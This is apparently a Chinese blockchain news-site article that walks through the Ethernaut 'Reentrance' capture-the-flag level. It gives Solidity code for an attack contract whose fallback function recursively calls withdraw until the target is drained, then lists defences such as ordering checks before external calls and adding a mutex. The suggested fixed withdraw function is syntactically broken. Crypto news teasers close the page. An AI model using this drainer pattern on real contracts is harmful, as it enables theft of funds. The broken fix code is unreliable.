区块链研究实验室|如何防止恶意执行顺序与重现DAO攻击

  • 时间:
  • 浏览:68
  • 来源:区块链技术网

什么是重入攻击?

重入攻击发生在单线程计算环境中,当执行堆栈跳转或调用子例程时,在返回到原始执行之前。

一方面,这种单线程执行确保了智能合约的原子性,并消除了一些竞争条件。另一方面,合约容易受到执行顺序不佳的影响。

在上面的示例中,合同B是恶意合同,递归地调用A.withdraw()来耗尽合同A的资金。请注意,基金提取在合同A从其递归循环返回之前成功完成,甚至意识到B已经提取出超过其自身余额的方式。

此Ethernaut级别利用此重入问题以及导致DAO黑客攻击的以下其他因素:

  • 任何人都可以调用Fallback函数并执行恶意代码

  • 恶意外部合同可能会滥用提款权

1、创建一个名为Reenter.sol的恶意合同,该合同将首先捐赠给Reentrance.sol,然后递归地从中退出,直到Reentrance耗尽资金。

 

contract Reenter {
    Reentrance public original = Reentrance(YOUR_INSTANCE_ADDR);
    uint public amount = 1 ether;    //withdrawal amount each time
}

2、Reenter.sol和以太合约结构相同

 

constructor() public payable {
}

3、创建公共函数,以便reenter.sol可以向reentrance.sol捐款,并在其余额分类账中注册为捐赠者:

function donateToSelf() public {
    original.donate.value(amount).gas(4000000)(address(this));//need to add value to this fn
  }

4、调用此函数将确保您的恶意合同至少可以调用withdraw()一次,即通过if(balances [msg.sender]> = _amount)检查。

上图说明了Reenter.sol从Reentrance.sol中提取所有资金的递归循环。

让我们在合同B中实现恶意回退功能,这样当合同A执行msg.sender.call.value(_amount)()退还合同B时,您的恶意合同会触发更多的撤销。

5、实现此恶意回退函数:

function() public payable {
    if (address(original).balance != 0 ) {
        original.withdraw(amount); 
    }
}

最后,在Remix中:将您的合同部署到Ropsten,为其植入以太,捐赠给Reentrance,然后调用Fallback函数,从Reentrance中耗尽所有资金。

关键要点:

 

  • 执行顺序在Solidity中非常重要。如果你必须进行外部函数调用,那就做你做的最后一件事(在所有必要的检查和余额之后):

function withdraw(uint _amountpublic {
    if(balances[msg.sender] >= _amount) {
        balances[msg.sender] -= _amount;         
        if(msg.sender.transfer(_amount)()) {
            _amount;
        }
    }
}
// Or even better, invoke transfer in a separate function

  • 包括一个互斥锁以防止重入,例如 使用布尔锁变量来指示执行深度。

  • 使用函数修饰符检查不变量时要小心:修饰符在函数开头执行。 如果变量状态将在整个函数期间发生变化,请考虑将修改器提取到放置在函数中正确行的检查中。

  • “使用转移将资金从合同中转出,因为它会抛出并限制gas转发。 调用和发送等低级函数只返回false,但是当接收合同失败时不会中断执行流程。“ - 来自Ethernaut级别

猜你喜欢

Pi币、赞丽,GEC环保币、FIL矿商、波场超级社区、DAO 等项目近期资讯

pi友们,2021年过去了,是不是从满怀信心到失望透顶,有啥感想没?炒作自定义图片就是封闭主网是不是落下帷幕了。那么接下来应该怎么炒作。熊大可以配合你们宣传一波。

2022-01-08

MaskDAO假借名义割韭菜上亿后,又发了个coinbase交易所的币

小狐狸DAO上线后,大量投资者以为这个项目会和sos一样上线就爆炒,因为sos一天时间上涨了40倍,想着这个暴富神话会在小狐狸DAO上上演。

2021-12-29

不发币就DAO你,未发币巨鲸项目交互速览

最近两天大家都被OpenDao的SOS刷屏了,一个百倍项目引爆了各大媒体,短短两天之内被各大交易所收录,崛起速度如此之快的项目成功的原因是什么?下一个百倍项目又在哪里?作为韭菜该如何才能上车?

2021-12-28

区块链红利吃饱后,这个巨头又想"征服"元宇宙?

据12月26日消息,百度与英伟达(NVIDIA)已达成协议,双方合作共建AI元宇宙。另外,在今日举行的百度AI开发者大会上,英伟达全球副总裁暨亚太区总裁 Raymond Teh将受邀出席,并发表主题演讲。

2021-12-27

OpenDAO一夜暴富后,小狐狸DAO又要面世了

这两天热度最高,炒的最热的就是SOS,一天40倍,连上了六大交易所。要热度有热度,要流量有流量。交易所就喜欢这样的项目。毕竟上线了能带去流量的同时还能带来收益,叫谁不喜呢?

2021-12-27